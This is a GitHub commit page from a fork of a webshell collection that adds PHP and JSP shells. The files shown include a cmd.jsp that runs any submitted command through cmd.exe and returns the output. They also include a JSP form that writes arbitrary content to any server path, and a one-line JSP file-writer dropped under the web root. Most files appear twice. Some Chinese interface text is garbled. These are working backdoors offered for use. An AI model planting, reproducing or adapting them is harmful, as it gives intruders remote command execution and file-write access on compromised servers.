forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
php shell and jsp shell
- Loading branch information
Showing
29 changed files
with
7,756 additions
and
0 deletions.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
<%@ page import="java.util.*,java.io.*,java.net.*"%> | ||
<% | ||
// | ||
// JSP_KIT | ||
// | ||
// cmd.jsp = Command Execution (win32) | ||
// | ||
// by: Unknown | ||
// modified: 27/06/2003 | ||
// | ||
%> | ||
<HTML><BODY> | ||
<FORM METHOD="POST" NAME="myform" ACTION=""> | ||
<INPUT TYPE="text" NAME="cmd"> | ||
<INPUT TYPE="submit" VALUE="Send"> | ||
</FORM> | ||
<pre> | ||
<% | ||
if (request.getParameter("cmd") != null) { | ||
out.println("Command: " + request.getParameter("cmd") + "\n<BR>"); | ||
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd")); | ||
OutputStream os = p.getOutputStream(); | ||
InputStream in = p.getInputStream(); | ||
DataInputStream dis = new DataInputStream(in); | ||
String disr = dis.readLine(); | ||
while ( disr != null ) { | ||
out.println(disr); disr = dis.readLine(); } | ||
} | ||
%> | ||
</pre> | ||
</BODY></HTML> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
<%@ page import="java.util.*,java.io.*,java.net.*"%> | ||
<% | ||
// | ||
// JSP_KIT | ||
// | ||
// cmd.jsp = Command Execution (win32) | ||
// | ||
// by: Unknown | ||
// modified: 27/06/2003 | ||
// | ||
%> | ||
<HTML><BODY> | ||
<FORM METHOD="POST" NAME="myform" ACTION=""> | ||
<INPUT TYPE="text" NAME="cmd"> | ||
<INPUT TYPE="submit" VALUE="Send"> | ||
</FORM> | ||
<pre> | ||
<% | ||
if (request.getParameter("cmd") != null) { | ||
out.println("Command: " + request.getParameter("cmd") + "\n<BR>"); | ||
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd")); | ||
OutputStream os = p.getOutputStream(); | ||
InputStream in = p.getInputStream(); | ||
DataInputStream dis = new DataInputStream(in); | ||
String disr = dis.readLine(); | ||
while ( disr != null ) { | ||
out.println(disr); disr = dis.readLine(); } | ||
} | ||
%> | ||
</pre> | ||
</BODY></HTML> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
<%@page contentType="text/html;charset=gb2312"%> | ||
<%@page import="java.io.*,java.util.*,java.net.*"%> | ||
<html> | ||
<head> | ||
<title>JspDo Code By Xiao.3</title> | ||
<style type="text/css"> | ||
body { color:red; font-size:12px; background-color:white; } | ||
</style> | ||
</head> | ||
<body> | ||
<% | ||
if(request.getParameter("context")!=null) | ||
{ | ||
String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312"); | ||
String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312"); | ||
OutputStream pt = null; | ||
try { | ||
pt = new FileOutputStream(path); | ||
pt.write(context.getBytes()); | ||
out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='????????????è????°???????????????é??é??!'>????????????!</font></a>"); | ||
} catch (FileNotFoundException ex2) { | ||
out.println("<font color='red'>???????¤±è??!</font>"); | ||
} catch (IOException ex) { | ||
out.println("<font color='red'>???????¤±è??!</font>"); | ||
} finally { | ||
try { | ||
pt.close(); | ||
} catch (IOException ex3) { | ||
out.println("<font color='red'>???????¤±è??!</font>"); | ||
} | ||
} | ||
} | ||
%> | ||
<form name="frmUpload" method="post" action=""> | ||
<font color="blue">????????????è·????:</font><%out.print(request.getRealPath(request.getServletPath())); %> | ||
<br> | ||
<br> | ||
<font color="blue">????????????è·????:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>"> | ||
<br> | ||
<br> | ||
??????????????????:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea> | ||
<br> | ||
<br> | ||
<input type="submit" name="btnSubmit" value="Upload"> | ||
</form> | ||
</body> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>xIXRbE.jspx |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>xIXRbE.jspx |
Oops, something went wrong.